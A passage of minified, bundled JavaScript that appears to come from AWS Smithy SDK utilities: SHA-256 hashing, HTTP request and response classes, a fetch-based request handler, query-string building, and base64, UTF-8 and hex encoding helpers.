Y=0;Y<K.byteLength;Y++)K[Y]=0}},A}();lB4.Sha256=wy9;function Hy9(A){var K=(0,j26.convertToBuffer)(A);if(K.byteLength>J21.BLOCK_SIZE){var q=new H21.RawSha256;q.update(K),K=q.digest()}var Y=new Uint8Array(J21.BLOCK_SIZE);return Y.set(K),Y}});var rB4=v((M26)=>{Object.defineProperty(M26,"__esModule",{value:!0});var Jy9=Z26();Jy9.__exportStar(nB4(),M26)});var zm4=v((mPw,Ym4)=>{var{defineProperty:O21,getOwnPropertyDescriptor:Oy9,getOwnPropertyNames:Xy9}=Object,$y9=Object.prototype.hasOwnProperty,X21=(A,K)=>O21(A,"name",{value:K,configurable:!0}),_y9=(A,K)=>{for(var q in K)O21(A,q,{get:K[q],enumerable:!0})},Gy9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of Xy9(K))if(!$y9.call(A,z)&&z!==q)O21(A,z,{get:()=>K[z],enumerable:!(Y=Oy9(K,z))||Y.enumerable})}return A},Zy9=(A)=>Gy9(O21({},"__esModule",{value:!0}),A),oB4={};_y9(oB4,{AlgorithmId:()=>eB4,EndpointURLScheme:()=>tB4,FieldPosition:()=>Am4,HttpApiKeyAuthLocation:()=>sB4,HttpAuthLocation:()=>aB4,IniSectionType:()=>Km4,RequestHandlerProtocol:()=>qm4,SMITHY_CONTEXT_KEY:()=>Py9,getDefaultClientConfiguration:()=>jy9,resolveDefaultRuntimeConfig:()=>My9});Ym4.exports=Zy9(oB4);var aB4=((A)=>{return A.HEADER="header",A.QUERY="query",A})(aB4||{}),sB4=((A)=>{return A.HEADER="header",A.QUERY="query",A})(sB4||{}),tB4=((A)=>{return A.HTTP="http",A.HTTPS="https",A})(tB4||{}),eB4=((A)=>{return A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256",A})(eB4||{}),Wy9=X21((A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>"sha256",checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>"md5",checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},"getChecksumConfiguration"),Dy9=X21((A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},"resolveChecksumRuntimeConfig"),jy9=X21((A)=>{return Wy9(A)},"getDefaultClientConfiguration"),My9=X21((A)=>{return Dy9(A)},"resolveDefaultRuntimeConfig"),Am4=((A)=>{return A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER",A})(Am4||{}),Py9="__smithy_context",Km4=((A)=>{return A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services",A})(Km4||{}),qm4=((A)=>{return A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0",A})(qm4||{})});var $m4=v((gPw,Xm4)=>{var{defineProperty:$21,getOwnPropertyDescriptor:Vy9,getOwnPropertyNames:fy9}=Object,Ny9=Object.prototype.hasOwnProperty,sr=(A,K)=>$21(A,"name",{value:K,configurable:!0}),Ty9=(A,K)=>{for(var q in K)$21(A,q,{get:K[q],enumerable:!0})},vy9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of fy9(K))if(!Ny9.call(A,z)&&z!==q)$21(A,z,{get:()=>K[z],enumerable:!(Y=Vy9(K,z))||Y.enumerable})}return A},Ey9=(A)=>vy9($21({},"__esModule",{value:!0}),A),wm4={};Ty9(wm4,{Field:()=>Ly9,Fields:()=>Ry9,HttpRequest:()=>yy9,HttpResponse:()=>Iy9,IHttpRequest:()=>Hm4.HttpRequest,getHttpHandlerExtensionConfiguration:()=>ky9,isValidHostname:()=>Om4,resolveHttpHandlerRuntimeConfig:()=>Cy9});Xm4.exports=Ey9(wm4);var ky9=sr((A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},"getHttpHandlerExtensionConfiguration"),Cy9=sr((A)=>{return{httpHandler:A.httpHandler()}},"resolveHttpHandlerRuntimeConfig"),Hm4=zm4(),Ly9=class{static{sr(this,"Field")}constructor({name:A,kind:K=Hm4.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}},Ry9=class{constructor({fields:A=[],encoding:K="utf-8"}){this.entries={},A.forEach(this.setField.bind(this)),this.encoding=K}static{sr(this,"Fields")}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}},yy9=class A{static{sr(this,"HttpRequest")}constructor(K){this.method=K.method||"GET",this.hostname=K.hostname||"localhost",this.port=K.port,this.query=K.query||{},this.headers=K.headers||{},this.body=K.body,this.protocol=K.protocol?K.protocol.slice(-1)!==":"?`${K.protocol}:`:K.protocol:"https:",this.path=K.path?K.path.charAt(0)!=="/"?`/${K.path}`:K.path:"/",this.username=K.username,this.password=K.password,this.fragment=K.fragment}static clone(K){let q=new A({...K,headers:{...K.headers}});if(q.query)q.query=Jm4(q.query);return q}static isInstance(K){if(!K)return!1;let q=K;return"method"in q&&"protocol"in q&&"hostname"in q&&"path"in q&&typeof q.query==="object"&&typeof q.headers==="object"}clone(){return A.clone(this)}};function Jm4(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}sr(Jm4,"cloneQuery");var Iy9=class{static{sr(this,"HttpResponse")}constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}};function Om4(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}sr(Om4,"isValidHostname")});var Wm4=v((pPw,Zm4)=>{var{defineProperty:_21,getOwnPropertyDescriptor:Sy9,getOwnPropertyNames:hy9}=Object,by9=Object.prototype.hasOwnProperty,P26=(A,K)=>_21(A,"name",{value:K,configurable:!0}),xy9=(A,K)=>{for(var q in K)_21(A,q,{get:K[q],enumerable:!0})},uy9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of hy9(K))if(!by9.call(A,z)&&z!==q)_21(A,z,{get:()=>K[z],enumerable:!(Y=Sy9(K,z))||Y.enumerable})}return A},By9=(A)=>uy9(_21({},"__esModule",{value:!0}),A),_m4={};xy9(_m4,{escapeUri:()=>Gm4,escapeUriPath:()=>gy9});Zm4.exports=By9(_m4);var Gm4=P26((A)=>encodeURIComponent(A).replace(/[!'()*]/g,my9),"escapeUri"),my9=P26((A)=>`%${A.charCodeAt(0).toString(16).toUpperCase()}`,"hexEncode"),gy9=P26((A)=>A.split("/").map(Gm4).join("/"),"escapeUriPath")});var Pm4=v((dPw,Mm4)=>{var{defineProperty:G21,getOwnPropertyDescriptor:Fy9,getOwnPropertyNames:Qy9}=Object,Uy9=Object.prototype.hasOwnProperty,py9=(A,K)=>G21(A,"name",{value:K,configurable:!0}),dy9=(A,K)=>{for(var q in K)G21(A,q,{get:K[q],enumerable:!0})},cy9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of Qy9(K))if(!Uy9.call(A,z)&&z!==q)G21(A,z,{get:()=>K[z],enumerable:!(Y=Fy9(K,z))||Y.enumerable})}return A},ly9=(A)=>cy9(G21({},"__esModule",{value:!0}),A),Dm4={};dy9(Dm4,{buildQueryString:()=>jm4});Mm4.exports=ly9(Dm4);var V26=Wm4();function jm4(A){let K=[];for(let q of Object.keys(A).sort()){let Y=A[q];if(q=(0,V26.escapeUri)(q),Array.isArray(Y))for(let z=0,w=Y.length;z<w;z++)K.push(`${q}=${(0,V26.escapeUri)(Y[z])}`);else{let z=q;if(Y||typeof Y==="string")z+=`=${(0,V26.escapeUri)(Y)}`;K.push(z)}}return K.join("&")}py9(jm4,"buildQueryString")});var Vm4=v((ny9)=>{var iy9=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";ny9.isArrayBuffer=iy9});var N26=v((ty9)=>{var oy9=Vm4(),f26=CA("buffer"),ay9=(A,K=0,q=A.byteLength-K)=>{if(!oy9.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return f26.Buffer.from(A,K,q)},sy9=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?f26.Buffer.from(A,K):f26.Buffer.from(A)};ty9.fromArrayBuffer=ay9;ty9.fromString=sy9});var Tm4=v((fm4)=>{Object.defineProperty(fm4,"__esModule",{value:!0});fm4.fromBase64=void 0;var KI9=N26(),qI9=/^[A-Za-z0-9+/]*={0,2}$/,YI9=(A)=>{if(A.length*3%4!==0)throw TypeError("Incorrect padding on base64 string.");if(!qI9.exec(A))throw TypeError("Invalid base64 string.");let K=(0,KI9.fromString)(A,"base64");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength)};fm4.fromBase64=YI9});var km4=v((vm4)=>{Object.defineProperty(vm4,"__esModule",{value:!0});vm4.toBase64=void 0;var zI9=N26(),wI9=_z(),HI9=(A)=>{let K;if(typeof A==="string")K=(0,wI9.fromUtf8)(A);else K=A;if(typeof K!=="object"||typeof K.byteOffset!=="number"||typeof K.byteLength!=="number")throw Error("@smithy/util-base64: toBase64 encoder function only accepts string | Uint8Array.");return(0,zI9.fromArrayBuffer)(K.buffer,K.byteOffset,K.byteLength).toString("base64")};vm4.toBase64=HI9});var Rm4=v((rPw,Z21)=>{var{defineProperty:Cm4,getOwnPropertyDescriptor:JI9,getOwnPropertyNames:OI9}=Object,XI9=Object.prototype.hasOwnProperty,T26=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of OI9(K))if(!XI9.call(A,z)&&z!==q)Cm4(A,z,{get:()=>K[z],enumerable:!(Y=JI9(K,z))||Y.enumerable})}return A},Lm4=(A,K,q)=>(T26(A,K,"default"),q&&T26(q,K,"default")),$I9=(A)=>T26(Cm4({},"__esModule",{value:!0}),A),v26={};Z21.exports=$I9(v26);Lm4(v26,Tm4(),Z21.exports);Lm4(v26,km4(),Z21.exports)});var k26=v((oPw,um4)=>{var{defineProperty:D21,getOwnPropertyDescriptor:_I9,getOwnPropertyNames:GI9}=Object,ZI9=Object.prototype.hasOwnProperty,Yu=(A,K)=>D21(A,"name",{value:K,configurable:!0}),WI9=(A,K)=>{for(var q in K)D21(A,q,{get:K[q],enumerable:!0})},DI9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of GI9(K))if(!ZI9.call(A,z)&&z!==q)D21(A,z,{get:()=>K[z],enumerable:!(Y=_I9(K,z))||Y.enumerable})}return A},jI9=(A)=>DI9(D21({},"__esModule",{value:!0}),A),Im4={};WI9(Im4,{FetchHttpHandler:()=>PI9,keepAliveSupport:()=>W21,streamCollector:()=>fI9});um4.exports=jI9(Im4);var ym4=$m4(),MI9=Pm4();function E26(A,K){return new Request(A,K)}Yu(E26,"createRequest");function Sm4(A=0){return new Promise((K,q)=>{if(A)setTimeout(()=>{let Y=Error(`Request did not complete within ${A} ms`);Y.name="TimeoutError",q(Y)},A)})}Yu(Sm4,"requestTimeout");var W21={supported:void 0},PI9=class A{static{Yu(this,"FetchHttpHandler")}static create(K){if(typeof K?.handle==="function")return K;return new A(K)}constructor(K){if(typeof K==="function")this.configProvider=K().then((q)=>q||{});else this.config=K??{},this.configProvider=Promise.resolve(this.config);if(W21.supported===void 0)W21.supported=Boolean(typeof Request<"u"&&"keepalive"in E26("https://[::1]"))}destroy(){}async handle(K,{abortSignal:q}={}){if(!this.config)this.config=await this.configProvider;let Y=this.config.requestTimeout,z=this.config.keepAlive===!0,w=this.config.credentials;if(q?.aborted){let M=Error("Request aborted");return M.name="AbortError",Promise.reject(M)}let H=K.path,J=(0,MI9.buildQueryString)(K.query||{});if(J)H+=`?${J}`;if(K.fragment)H+=`#${K.fragment}`;let O="";if(K.username!=null||K.password!=null){let M=K.username??"",P=K.password??"";O=`${M}:${P}@`}let{port:X,method:$}=K,_=`${K.protocol}//${O}${K.hostname}${X?`:${X}`:""}${H}`,G=$==="GET"||$==="HEAD"?void 0:K.body,Z={body:G,headers:new Headers(K.headers),method:$,credentials:w};if(this.config?.cache)Z.cache=this.config.cache;if(G)Z.duplex="half";if(typeof AbortController<"u")Z.signal=q;if(W21.supported)Z.keepalive=z;if(typeof this.config.requestInit==="function")Object.assign(Z,this.config.requestInit(K));let W=Yu(()=>{},"removeSignalEventListener"),D=E26(_,Z),j=[fetch(D).then((M)=>{let P=M.headers,f={};for(let T of P.entries())f[T[0]]=T[1];if(M.body==null)return M.blob().then((T)=>({response:new ym4.HttpResponse({headers:f,reason:M.statusText,statusCode:M.status,body:T})}));return{response:new ym4.HttpResponse({headers:f,reason:M.statusText,statusCode:M.status,body:M.body})}}),Sm4(Y)];if(q)j.push(new Promise((M,P)=>{let f=Yu(()=>{let N=Error("Request aborted");N.name="AbortError",P(N)},"onAbort");if(typeof q.addEventListener==="function"){let N=q;N.addEventListener("abort",f,{once:!0}),W=Yu(()=>N.removeEventListener("abort",f),"removeSignalEventListener")}else q.onabort=f}));return Promise.race(j).finally(W)}updateHttpClientConfig(K,q){this.config=void 0,this.configProvider=this.configProvider.then((Y)=>{return Y[K]=q,Y})}httpHandlerConfigs(){return this.config??{}}},VI9=Rm4(),fI9=Yu(async(A)=>{if(typeof Blob==="function"&&A instanceof Blob||A.constructor?.name==="Blob"){if(Blob.prototype.arrayBuffer!==void 0)return new Uint8Array(await A.arrayBuffer());return hm4(A)}return bm4(A)},"streamCollector");async function hm4(A){let K=await xm4(A),q=(0,VI9.fromBase64)(K);return new Uint8Array(q)}Yu(hm4,"collectBlob");async function bm4(A){let K=[],q=A.getReader(),Y=!1,z=0;while(!Y){let{done:J,value:O}=await q.read();if(O)K.push(O),z+=O.length;Y=J}let w=new Uint8Array(z),H=0;for(let J of K)w.set(J,H),H+=J.length;return w}Yu(bm4,"collectStream");function xm4(A){return new Promise((K,q)=>{let Y=new FileReader;Y.onloadend=()=>{if(Y.readyState!==2)return q(Error("Reader aborted too early"));let z=Y.result??"",w=z.indexOf(","),H=w>-1?w+1:z.length;K(z.substring(H))},Y.onabort=()=>q(Error("Read aborted")),Y.onerror=()=>q(Y.error),Y.readAsDataURL(A)})}Yu(xm4,"readToBase64")});var C26=v((aPw,cm4)=>{var{defineProperty:j21,getOwnPropertyDescriptor:NI9,getOwnPropertyNames:TI9}=Object,vI9=Object.prototype.hasOwnProperty,M21=(A,K)=>j21(A,"name",{value:K,configurable:!0}),EI9=(A,K)=>{for(var q in K)j21(A,q,{get:K[q],enumerable:!0})},kI9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of TI9(K))if(!vI9.call(A,z)&&z!==q)j21(A,z,{get:()=>K[z],enumerable:!(Y=NI9(K,z))||Y.enumerable})}return A},CI9=(A)=>kI9(j21({},"__esModule",{value:!0}),A),Bm4={};EI9(Bm4,{AlgorithmId:()=>Qm4,EndpointURLScheme:()=>Fm4,FieldPosition:()=>Um4,HttpApiKeyAuthLocation:()=>gm4,HttpAuthLocation:()=>mm4,IniSectionType:()=>pm4,RequestHandlerProtocol:()=>dm4,SMITHY_CONTEXT_KEY:()=>SI9,getDefaultClientConfiguration:()=>yI9,resolveDefaultRuntimeConfig:()=>II9});cm4.exports=CI9(Bm4);var mm4=((A)=>{return A.HEADER="header",A.QUERY="query",A})(mm4||{}),gm4=((A)=>{return A.HEADER="header",A.QUERY="query",A})(gm4||{}),Fm4=((A)=>{return A.HTTP="http",A.HTTPS="https",A})(Fm4||{}),Qm4=((A)=>{return A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256",A})(Qm4||{}),LI9=M21((A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>"sha256",checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>"md5",checksumConstructor:()=>A.md5});return{_checksumAlgorithms:K,addChecksumAlgorithm(q){this._checksumAlgorithms.push(q)},checksumAlgorithms(){return this._checksumAlgorithms}}},"getChecksumConfiguration"),RI9=M21((A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},"resolveChecksumRuntimeConfig"),yI9=M21((A)=>{return{...LI9(A)}},"getDefaultClientConfiguration"),II9=M21((A)=>{return{...RI9(A)}},"resolveDefaultRuntimeConfig"),Um4=((A)=>{return A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER",A})(Um4||{}),SI9="__smithy_context",pm4=((A)=>{return A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services",A})(pm4||{}),dm4=((A)=>{return A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0",A})(dm4||{})});var L26=v((sPw,tm4)=>{var{defineProperty:P21,getOwnPropertyDescriptor:hI9,getOwnPropertyNames:bI9}=Object,xI9=Object.prototype.hasOwnProperty,tr=(A,K)=>P21(A,"name",{value:K,configurable:!0}),uI9=(A,K)=>{for(var q in K)P21(A,q,{get:K[q],enumerable:!0})},BI9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of bI9(K))if(!xI9.call(A,z)&&z!==q)P21(A,z,{get:()=>K[z],enumerable:!(Y=hI9(K,z))||Y.enumerable})}return A},mI9=(A)=>BI9(P21({},"__esModule",{value:!0}),A),lm4={};uI9(lm4,{Field:()=>UI9,Fields:()=>pI9,HttpRequest:()=>dI9,HttpResponse:()=>cI9,getHttpHandlerExtensionConfiguration:()=>gI9,isValidHostname:()=>sm4,resolveHttpHandlerRuntimeConfig:()=>FI9});tm4.exports=mI9(lm4);var gI9=tr((A)=>{let K=A.httpHandler;return{setHttpHandler(q){K=q},httpHandler(){return K},updateHttpClientConfig(q,Y){K.updateHttpClientConfig(q,Y)},httpHandlerConfigs(){return K.httpHandlerConfigs()}}},"getHttpHandlerExtensionConfiguration"),FI9=tr((A)=>{return{httpHandler:A.httpHandler()}},"resolveHttpHandlerRuntimeConfig"),QI9=C26(),im4=class{constructor({name:K,kind:q=QI9.FieldPosition.HEADER,values:Y=[]}){this.name=K,this.kind=q,this.values=Y}add(K){this.values.push(K)}set(K){this.values=K}remove(K){this.values=this.values.filter((q)=>q!==K)}toString(){return this.values.map((K)=>K.includes(",")||K.includes(" ")?`"${K}"`:K).join(", ")}get(){return this.values}};tr(im4,"Field");var UI9=im4,nm4=class{constructor({fields:K=[],encoding:q="utf-8"}){this.entries={},K.forEach(this.setField.bind(this)),this.encoding=q}setField(K){this.entries[K.name.toLowerCase()]=K}getField(K){return this.entries[K.toLowerCase()]}removeField(K){delete this.entries[K.toLowerCase()]}getByType(K){return Object.values(this.entries).filter((q)=>q.kind===K)}};tr(nm4,"Fields");var pI9=nm4,rm4=class A{constructor(K){this.method=K.method||"GET",this.hostname=K.hostname||"localhost",this.port=K.port,this.query=K.query||{},this.headers=K.headers||{},this.body=K.body,this.protocol=K.protocol?K.protocol.slice(-1)!==":"?`${K.protocol}:`:K.protocol:"https:",this.path=K.path?K.path.charAt(0)!=="/"?`/${K.path}`:K.path:"/",this.username=K.username,this.password=K.password,this.fragment=K.fragment}static isInstance(K){if(!K)return!1;let q=K;return"method"in q&&"protocol"in q&&"hostname"in q&&"path"in q&&typeof q.query==="object"&&typeof q.headers==="object"}clone(){let K=new A({...this,headers:{...this.headers}});if(K.query)K.query=om4(K.query);return K}};tr(rm4,"HttpRequest");var dI9=rm4;function om4(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}tr(om4,"cloneQuery");var am4=class{constructor(K){this.statusCode=K.statusCode,this.reason=K.reason,this.headers=K.headers||{},this.body=K.body}static isInstance(K){if(!K)return!1;let q=K;return typeof q.statusCode==="number"&&typeof q.headers==="object"}};tr(am4,"HttpResponse");var cI9=am4;function sm4(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}tr(sm4,"isValidHostname")});var Og4=v((tPw,Jg4)=>{var{defineProperty:V21,getOwnPropertyDescriptor:lI9,getOwnPropertyNames:iI9}=Object,nI9=Object.prototype.hasOwnProperty,f21=(A,K)=>V21(A,"name",{value:K,configurable:!0}),rI9=(A,K)=>{for(var q in K)V21(A,q,{get:K[q],enumerable:!0})},oI9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of iI9(K))if(!nI9.call(A,z)&&z!==q)V21(A,z,{get:()=>K[z],enumerable:!(Y=lI9(K,z))||Y.enumerable})}return A},aI9=(A)=>oI9(V21({},"__esModule",{value:!0}),A),em4={};rI9(em4,{AlgorithmId:()=>Yg4,EndpointURLScheme:()=>qg4,FieldPosition:()=>zg4,HttpApiKeyAuthLocation:()=>Kg4,HttpAuthLocation:()=>Ag4,IniSectionType:()=>wg4,RequestHandlerProtocol:()=>Hg4,SMITHY_CONTEXT_KEY:()=>KS9,getDefaultClientConfiguration:()=>eI9,resolveDefaultRuntimeConfig:()=>AS9});Jg4.exports=aI9(em4);var Ag4=((A)=>{return A.HEADER="header",A.QUERY="query",A})(Ag4||{}),Kg4=((A)=>{return A.HEADER="header",A.QUERY="query",A})(Kg4||{}),qg4=((A)=>{return A.HTTP="http",A.HTTPS="https",A})(qg4||{}),Yg4=((A)=>{return A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256",A})(Yg4||{}),sI9=f21((A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>"sha256",checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>"md5",checksumConstructor:()=>A.md5});return{_checksumAlgorithms:K,addChecksumAlgorithm(q){this._checksumAlgorithms.push(q)},checksumAlgorithms(){return this._checksumAlgorithms}}},"getChecksumConfiguration"),tI9=f21((A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},"resolveChecksumRuntimeConfig"),eI9=f21((A)=>{return{...sI9(A)}},"getDefaultClientConfiguration"),AS9=f21((A)=>{return{...tI9(A)}},"resolveDefaultRuntimeConfig"),zg4=((A)=>{return A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER",A})(zg4||{}),KS9="__smithy_context",wg4=((A)=>{return A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services",A})(wg4||{}),Hg4=((A)=>{return A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0",A})(Hg4||{})});var Zg4=v((ePw,Gg4)=>{var{defineProperty:N21,getOwnPropertyDescriptor:qS9,getOwnPropertyNames:YS9}=Object,zS9=Object.prototype.hasOwnProperty,$g4=(A,K)=>N21(A,"name",{value:K,configurable:!0}),wS9=(A,K)=>{for(var q in K)N21(A,q,{get:K[q],enumerable:!0})},HS9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of YS9(K))if(!zS9.call(A,z)&&z!==q)N21(A,z,{get:()=>K[z],enumerable:!(Y=qS9(K,z))||Y.enumerable})}return A},JS9=(A)=>HS9(N21({},"__esModule",{value:!0}),A),_g4={};wS9(_g4,{getSmithyContext:()=>OS9,normalizeProvider:()=>XS9});Gg4.exports=JS9(_g4);var Xg4=Og4(),OS9=$g4((A)=>A[Xg4.SMITHY_CONTEXT_KEY]||(A[Xg4.SMITHY_CONTEXT_KEY]={}),"getSmithyContext"),XS9=$g4((A)=>{if(typeof A==="function")return A;let K=Promise.resolve(A);return()=>K},"normalizeProvider")});var R26=v((AVw,Dg4)=>{var{defineProperty:T21,getOwnPropertyDescriptor:$S9,getOwnPropertyNames:_S9}=Object,GS9=Object.prototype.hasOwnProperty,ZS9=(A,K)=>T21(A,"name",{value:K,configurable:!0}),WS9=(A,K)=>{for(var q in K)T21(A,q,{get:K[q],enumerable:!0})},DS9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of _S9(K))if(!GS9.call(A,z)&&z!==q)T21(A,z,{get:()=>K[z],enumerable:!(Y=$S9(K,z))||Y.enumerable})}return A},jS9=(A)=>DS9(T21({},"__esModule",{value:!0}),A),Wg4={};WS9(Wg4,{isArrayBuffer:()=>MS9});Dg4.exports=jS9(Wg4);var MS9=ZS9((A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]","isArrayBuffer")});var Vg4=v((KVw,Pg4)=>{var{defineProperty:v21,getOwnPropertyDescriptor:PS9,getOwnPropertyNames:VS9}=Object,fS9=Object.prototype.hasOwnProperty,jg4=(A,K)=>v21(A,"name",{value:K,configurable:!0}),NS9=(A,K)=>{for(var q in K)v21(A,q,{get:K[q],enumerable:!0})},TS9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of VS9(K))if(!fS9.call(A,z)&&z!==q)v21(A,z,{get:()=>K[z],enumerable:!(Y=PS9(K,z))||Y.enumerable})}return A},vS9=(A)=>TS9(v21({},"__esModule",{value:!0}),A),Mg4={};NS9(Mg4,{fromArrayBuffer:()=>kS9,fromString:()=>CS9});Pg4.exports=vS9(Mg4);var ES9=R26(),y26=CA("buffer"),kS9=jg4((A,K=0,q=A.byteLength-K)=>{if(!(0,ES9.isArrayBuffer)(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return y26.Buffer.from(A,K,q)},"fromArrayBuffer"),CS9=jg4((A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?y26.Buffer.from(A,K):y26.Buffer.from(A)},"fromString")});var uSA=v((qVw,vg4)=>{var{defineProperty:E21,getOwnPropertyDescriptor:LS9,getOwnPropertyNames:RS9}=Object,yS9=Object.prototype.hasOwnProperty,I26=(A,K)=>E21(A,"name",{value:K,configurable:!0}),IS9=(A,K)=>{for(var q in K)E21(A,q,{get:K[q],enumerable:!0})},SS9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of RS9(K))if(!yS9.call(A,z)&&z!==q)E21(A,z,{get:()=>K[z],enumerable:!(Y=LS9(K,z))||Y.enumerable})}return A},hS9=(A)=>SS9(E21({},"__esModule",{value:!0}),A),fg4={};IS9(fg4,{fromUtf8:()=>Tg4,toUint8Array:()=>bS9,toUtf8:()=>xS9});vg4.exports=hS9(fg4);var Ng4=Vg4(),Tg4=I26((A)=>{let K=(0,Ng4.fromString)(A,"utf8");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength/Uint8Array.BYTES_PER_ELEMENT)},"fromUtf8"),bS9=I26((A)=>{if(typeof A==="string")return Tg4(A);if(ArrayBuffer.isView(A))return new Uint8Array(A.buffer,A.byteOffset,A.byteLength/Uint8Array.BYTES_PER_ELEMENT);return new Uint8Array(A)},"toUint8Array"),xS9=I26((A)=>{if(typeof A==="string")return A;if(typeof A!=="object"||typeof A.byteOffset!=="number"||typeof A.byteLength!=="number")throw Error("@smithy/util-utf8: toUtf8 encoder function only accepts string | Uint8Array.");return(0,Ng4.fromArrayBuffer)(A.buffer,A.byteOffset,A.byteLength).toString("utf8")},"toUtf8")});var Ig4=v((YVw,yg4)=>{var{defineProperty:k21,getOwnPropertyDescriptor:uS9,getOwnPropertyNames:BS9}=Object,mS9=Object.prototype.hasOwnProperty,Eg4=(A,K)=>k21(A,"name",{value:K,configurable:!0}),gS9=(A,K)=>{for(var q in K)k21(A,q,{get:K[q],enumerable:!0})},FS9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of BS9(K))if(!mS9.call(A,z)&&z!==q)k21(A,z,{get:()=>K[z],enumerable:!(Y=uS9(K,z))||Y.enumerable})}return A},QS9=(A)=>FS9(k21({},"__esModule",{value:!0}),A),kg4={};gS9(kg4,{fromHex:()=>Lg4,toHex:()=>Rg4});yg4.exports=QS9(kg4);var Cg4={},S26={};for(let A=0;A<256;A++){let K=A.toString(16).toLowerCase();if(K.length===1)K=`0${K}`;Cg4[A]=K,S26[K]=A}function Lg4(A){if(A.length%2!==0)throw Error("Hex encoded strings must have an even number length");let K=new Uint8Array(A.length/2);for(let q=0;q<A.length;q+=2){let Y=A.slice(q,q+2).toLowerCase();if(Y in S26)K[q/2]=S26[Y];else throw Error(`Cannot decode unrecognized sequence ${Y} as hexadecimal`)}return K}Eg4(Lg4,"fromHex");function Rg4(A){let K="";for(let q=0;q<A.byteLength;q++)K+=Cg4[A[q]];return K}Eg4(Rg4,"toHex")});var xg4=v((zVw,bg4)=>{var{defineProperty:C21,getOwnPropertyDescriptor:US9,getOwnPropertyNames:pS9}=Object,dS9=Object.prototype.hasOwnProperty,h26=(A,K)=>C21(A,"name",{value:K,configurable:!0}),cS9=(A,K)=>{for(var q in K)C21(A,q,{get:K[q],enumerable:!0})},lS9=(A,K,q,Y)=>{if(K&&typeof K==="object"||typeof K==="function"){for(let z of 